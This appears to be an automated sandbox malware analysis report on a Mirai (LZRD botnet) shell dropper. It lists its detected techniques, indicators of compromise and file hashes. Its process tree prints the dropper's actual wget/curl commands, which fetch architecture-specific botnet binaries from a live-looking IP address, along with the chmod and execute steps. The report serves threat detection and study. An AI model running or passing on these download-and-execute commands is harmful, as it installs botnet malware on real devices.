mirai | 938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_mipsel
resource
debian9-mipsel-20240418-en
resource tags

arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
30-12-2024 16:46

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General

Target

ohshit.sh
Size

2KB
MD5

7e24e03c8d6c1bafbc85a32aa065853f
SHA1

1399f7b9e79afa7fb910eb61f8e7d10b36c64310
SHA256

938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c
SHA512

0975c2aaae90e309467a37d38bdb48790c56c7efdfe9ad82a69c93d8cd2d25f4eee4e741222b1d455e04913e69380d52f81efe6c1b025e9ef1fd872a0fcac521

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
824	chmod
892	chmod
842	chmod
856	chmod
880	chmod
886	chmod
818	chmod
868	chmod
776	chmod
808	chmod
832	chmod
837	chmod
850	chmod
862	chmod
874	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/WTF	777	WTF
/tmp/WTF	810	WTF
/tmp/WTF	819	WTF
/tmp/WTF	825	WTF
/tmp/WTF	833	WTF
/tmp/WTF	838	WTF
/tmp/WTF	843	WTF
/tmp/WTF	851	WTF
/tmp/WTF	857	WTF
/tmp/WTF	863	WTF
/tmp/WTF	869	WTF
/tmp/WTF	875	WTF
/tmp/WTF	881	WTF
/tmp/WTF	887	WTF
/tmp/WTF	893	WTF

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF

Unexpected DNS network traffic destination 3 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	37.202.222.79
Destination IP	23.227.146.106
Destination IP	37.202.222.7

Writes file to system bin folder 2 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/fstream-1.dat	upx
behavioral4/files/fstream-4.dat	upx

Reads runtime system information 40 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/699/cmdline	WTF
File opened for reading	/proc/700/cmdline	WTF
File opened for reading	/proc/884/cmdline	WTF
File opened for reading	/proc/890/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/414/cmdline	WTF
File opened for reading	/proc/674/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/898/cmdline	WTF
File opened for reading	/proc/878/cmdline	WTF
File opened for reading	/proc/665/cmdline	WTF
File opened for reading	/proc/668/cmdline	WTF
File opened for reading	/proc/676/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/866/cmdline	WTF
File opened for reading	/proc/846/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/671/cmdline	WTF
File opened for reading	/proc/701/cmdline	WTF
File opened for reading	/proc/895/cmdline	WTF
File opened for reading	/proc/897/cmdline	WTF
File opened for reading	/proc/899/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/900/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/698/cmdline	WTF
File opened for reading	/proc/707/cmdline	WTF
File opened for reading	/proc/865/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/875/cmdline	WTF
File opened for reading	/proc/887/cmdline	WTF
File opened for reading	/proc/896/cmdline	WTF

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
779	wget
792	curl
807	cat

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/boatnet.x86	wget
File opened for modification	/tmp/boatnet.mpsl	curl
File opened for modification	/tmp/boatnet.arm6	curl
File opened for modification	/tmp/boatnet.m68k	curl
File opened for modification	/tmp/boatnet.i686	curl
File opened for modification	/tmp/boatnet.mpsl	wget
File opened for modification	/tmp/WTF	ohshit.sh
File opened for modification	/tmp/boatnet.arm7	curl
File opened for modification	/tmp/boatnet.m68k	wget
File opened for modification	/tmp/boatnet.sh4	wget
File opened for modification	/tmp/boatnet.x86	curl
File opened for modification	/tmp/boatnet.mips	curl
File opened for modification	/tmp/boatnet.arc	wget
File opened for modification	/tmp/boatnet.arm6	wget
File opened for modification	/tmp/boatnet.arm7	wget
File opened for modification	/tmp/boatnet.ppc	curl
File opened for modification	/tmp/boatnet.spc	curl
File opened for modification	/tmp/boatnet.i468	curl
File opened for modification	/tmp/boatnet.x86_64	curl
File opened for modification	/tmp/boatnet.arm5	wget
File opened for modification	/tmp/boatnet.arc	curl
File opened for modification	/tmp/boatnet.arm	wget
File opened for modification	/tmp/boatnet.arm	curl
File opened for modification	/tmp/boatnet.arm5	curl
File opened for modification	/tmp/boatnet.mips	wget
File opened for modification	/tmp/boatnet.ppc	wget
File opened for modification	/tmp/boatnet.spc	wget
File opened for modification	/tmp/boatnet.sh4	curl

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Writes file to tmp directory
PID:701
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:703
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:715
- /bin/cat
  cat boatnet.x86
  2⤵
  PID:775
- /bin/chmod
  chmod +x boatnet.x86 ohshit.sh systemd-private-9a36d740c2ca41219062e882d060fb36-systemd-timedated.service-iXeizx WTF
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:777
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:779
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:792
- /bin/cat
  cat boatnet.mips
  2⤵
  - System Network Configuration Discovery
  PID:807
- /bin/chmod
  chmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-9a36d740c2ca41219062e882d060fb36-systemd-timedated.service-iXeizx WTF
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:810
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:813
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.arc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/cat
  cat boatnet.arc
  2⤵
  PID:817
- /bin/chmod
  chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh systemd-private-9a36d740c2ca41219062e882d060fb36-systemd-timedated.service-iXeizx WTF
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:819
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.i468
  2⤵
  PID:821
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.i468
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:822
- /bin/cat
  cat boatnet.i468
  2⤵
  PID:823
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh systemd-private-9a36d740c2ca41219062e882d060fb36-systemd-timedated.service-iXeizx WTF
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:825
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.i686
  2⤵
  PID:826
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:830
- /bin/cat
  cat boatnet.i686
  2⤵
  PID:831
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:832
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:833
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.x86_64
  2⤵
  PID:834
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:835
- /bin/cat
  cat boatnet.x86_64
  2⤵
  PID:836
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:837
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:838
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:839
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:840
- /bin/cat
  cat boatnet.mpsl
  2⤵
  PID:841
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:842
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:843
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:847
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.arm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:848
- /bin/cat
  cat boatnet.arm
  2⤵
  PID:849
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:850
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:851
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:853
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:854
- /bin/cat
  cat boatnet.arm5
  2⤵
  PID:855
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:857
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:859
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:860
- /bin/cat
  cat boatnet.arm6
  2⤵
  PID:861
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:862
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:863
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:865
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:866
- /bin/cat
  cat boatnet.arm7
  2⤵
  PID:867
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:868
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:869
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:871
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:872
- /bin/cat
  cat boatnet.ppc
  2⤵
  PID:873
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:875
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:877
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.spc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:878
- /bin/cat
  cat boatnet.spc
  2⤵
  PID:879
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:880
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:881
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:883
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.m68k
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:884
- /bin/cat
  cat boatnet.m68k
  2⤵
  PID:885
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:887
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:889
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.sh4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:890
- /bin/cat
  cat boatnet.sh4
  2⤵
  PID:891
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:892
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:893

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/WTF

Filesize
31KB

MD5
2af268efed968357e391ab576fc973c4

SHA1
90d2eb946f39110a1a1768de197d5b2592c32906

SHA256
6f4b2ca72110e08f4a14ccfe634cfe7296914e8e8c65e4de037d3c85f40101ae

SHA512
753e6159a6085f846ad7bc6cddf5d0eae592351ada2b344fdbd8c0ce2b6981746b579085f373634adcbd29668cf9ce1979fa7a5f58f05f5bbee6f5405e52c4f1

Download Submit
/tmp/WTF

Filesize
105KB

MD5
020cb00eb1f2f8f09e6cf30dd27bb1c6

SHA1
9a744d247de056b9fdad94358b106082724b25c7

SHA256
8c4ddaa55221339a69d91cca9c22f1018306bd2bdd721c6b0564d7308d41ca7d

SHA512
82c32f182f8547660168ef76f82e00b4029da2604b67a6b463578cdbd925faf906ef1973bd1607d3216d8f39d2c2bf625acb738c7017852223602e1455872810

Download Submit
/tmp/WTF

Filesize
220B

MD5
f1c24d9fa40a047ae22d2d3ae7dfeac9

SHA1
750274b02d5f5b00026a4f55b020f4285c693533

SHA256
219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

SHA512
36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

Download Submit
/tmp/WTF

Filesize
220B

MD5
a8f502a6fb3b7b940e922c951d9e493a

SHA1
fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

SHA256
748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

SHA512
e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

Download Submit
/tmp/WTF

Filesize
71KB

MD5
737731332e0656b2f2714ce6634df996

SHA1
4d42df96482bff8f3246a47b07fd4c22e1d4c1e5

SHA256
22941552b719d5677c0ecc7d2f0322ba915396b1f081045a99d898a1bbf2b02b

SHA512
dd68463db50b06b913da04526b8e50f66c0d5d11a020a249c888edd8cd877fa24de2f3c879b9b6c0584aed47d17e3a9106bb5e473166b2c53b85017d6631d71a

Download Submit
/tmp/boatnet.x86

Filesize
28KB

MD5
d2610e796559edd586be4f3cfea659da

SHA1
67ac4e25ed9856b839f2b11c32e758766a140e23

SHA256
75754fcc1c6ecbdee1bc04eb2e4a986d6fb12a63e8a6b663a012ff41b031aef6

SHA512
910228016a57f6c76fcf29e7bd0a4d79a6772cda30489b99d9a10b92a00f56fc6829b35460ee09bc99c9fa7dc9607763dd01f39c0730c9975988c595c58bdf7a

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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